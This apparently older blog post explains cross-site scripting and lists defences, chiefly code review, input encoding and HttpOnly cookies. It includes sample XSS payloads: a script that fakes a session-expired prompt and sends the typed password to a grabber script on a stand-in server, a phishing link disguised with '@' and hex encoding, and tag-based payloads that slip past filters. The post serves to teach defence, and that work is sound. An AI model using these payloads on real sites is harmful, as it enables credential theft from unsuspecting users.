The Problem:
The root of cross site scripting vulnerabilities (from now on referred to as XSS) is improper input sanitation to the server, which allows input of script commands interpreted by client side browsers. The most immediate outcome of such a script injection is the execution of commands on the client side.
XSS is feasible anywhere where the input is displayed to the user for e.g. this blog where the users enter their names for comments which are displayed to the subsequent visitors.
The simplest way to test an XSS vuln is to enter the following text in the input:
“<SCRIPT LANGUAGE = “Javascript”>alert(“GOTCHA!!”);</SCRIPT>”
In the same way <OBJECT> <APPLET> and <EMBED> tags can also work. When subsequent users browse the blog their browsers will render the HTML, encounter the javascript input by the first user and execute the code.
If this little trick works you have a full chance to implement a full XSS attack against the app.
Examples:
1. Consider the following example.
“<SCRIPT LANGUAGE = “JavaScript”>”
var password = prompt (‘Your session is expired. Please enter your password to continue’ ,”); location.href=”https://10.0.0.1/passwordgrabber.pl?passwd=” +password;
“</SCRIPT>”
The server at 10.0.0.1 is a rouge server setup to capture the entered password through a simple script.
2. Consider another simple and widely used attack. See the following url carefully:
www.mybank.com/validate.asp&accountNumber=XYZ123456@darkstar.com
A quick glance may lead you to believe it points to mybankaccount.com but if you note the @ character you will realize that anything BEFORE the @ character is a USERNAME and is ignored by the browser which thinks the the link is followed to user:password@sitename syntax used by many browsers.
Worse is when the target domain name is hex encoded so the above link may seem as :
www.mybank.com/validate.asp&accNum=XYZ123456@%77%77%77%77%77%65%78%7e%69%3e
to which many people assume that there passwords are going ENCRYPTED :) in the url.
The below link describes the Cross Site scripting attacks in more detail:
http://www.technicalinfo.net/papers/CSS.html
http://www.microsoft.com/technet/itsolutions/security/topics/csoverv.asp
Avoiding Cross Site Scripting Attacks in your application:
A. Review Code for XSS Bugs
Write down all entry points to your web application. This includes all fields in forms, passwords, querystring, http headers, request variables, cookies and data from the database
- Trace each data as it flows from the application
- Determine wether the data is ever reflected to the output
- If yes, is it clean and sanitized?
- Finally pay special attention to innerHTML and document.write.
B. Don’t Look for insecure constructs
1. A common mistake made by developers is to allow “safe” HTML constructs. For e,g, allowing a user to send <img> or <table> tags to the web app.The the user can send HTML tags but nothing else other than plain text. However an XSS attack threat still exists because the attacker can embed a script in some of these tags for e.g.:
“<img src = javascript:alert(>”
“<framset onload = vbscript:msgbox(())></frameset>”
“<input type = “image” dynsrc = “javascript:”>”
And a lot of others which can be googled for.
C. XSS Remedies:
As with all other input issues the first rule for mitigating such attacks is the golden rule (ALL INPUT IS EVIL). Not trusting ALL input is the only safe approach. Fixing XSS issues is a little more like dealing with SQL injection attacks: You have a HUGE grammer to deal with and only certain chars have special meaning. Some of the defence mechanisms I found in reading and practice:
- Encoding input (we will come to this in detail later)
- Adding double quotes around all tag properties.
- Inserting data in innderText property
- Forcing the codepage
- The HTTP Only Cookie option
- Using the <FRAMESECURITY> attribute
- ASP.NET ValidateRequest Configuration
These remedies will be discussed in more detail in Part II.
